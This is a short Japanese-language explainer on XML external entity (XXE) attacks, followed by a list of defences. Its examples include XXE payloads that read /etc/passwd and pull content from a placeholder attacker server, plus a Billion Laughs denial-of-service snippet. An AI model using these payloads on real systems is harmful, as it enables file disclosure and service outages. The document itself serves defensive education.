XMLエンティティ攻撃は、XMLデータを受け入れるWebアプリケーションの脆弱性を利用した攻撃です。XMLの外部エンティティ参照機能を悪用することで、サーバー上のローカルファイルの内容を読み取ったり、リモートサーバーから任意のコンテンツを注入したりすることができます。
攻撃例
- ローカルファイル読み取り
- 攻撃者が以下のようなXMLデータを送信する
xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
- この場合、
/etc/passwd
ファイルの内容がレスポンスに含まれてしまう
- リモートコードの実行
- 攻撃者が以下のようなXMLデータを送信する
xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://攻撃者サーバー/悪意のあるコード.txt"> ]> <foo>&xxe;</foo>
- この場合、攻撃者のサーバーから任意のコンテンツが注入される
- Billion Laughs攻撃
- 偽の参照で無限ループを発生させ、メモリ不足でサービス停止に追い込む
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;..."> ]> <lolz>&lol2;</lolz>
防御策
- XMLエンティティの無効化
- サードパーティライブラリの設定でXMLエンティティの参照を無効化する
- Java XMLアプリケーションでは、パーサーで
XMLConstants.FEATURE_SECURE_PROCESSING
を有効にする
- XMLデータのホワイトリスト検証
- XMLデータが特定のパターンに一致することを検証する
- エンティティ参照がないことをホワイトリストで確認する
- 最小権限の原則
- アプリケーションが最小限の権限でのみXMLデータにアクセスできるよう設定する
- 入力値のエスケープ
- XMLパーサに渡す前に、入力値をエスケープする
- WAFによる防御
- Web Application Firewall(WAF)を使ってXXEパターンを検知・ブロックする
- 仮想化サンドボックスの利用
- XMLパーサを仮想化サンドボックス内で実行し、環境を分離する
- 脆弱性ライブラリのアップデート
- 使用しているXMLライブラリを最新版に更新し、既知の脆弱性に対処する
XMLエンティティ攻撃は、適切な対策を講じないと深刻なインパクトを与える可能性があります。アプリケーションの設計段階から対策を組み込み、定期的に対策状況を確認することが重要です。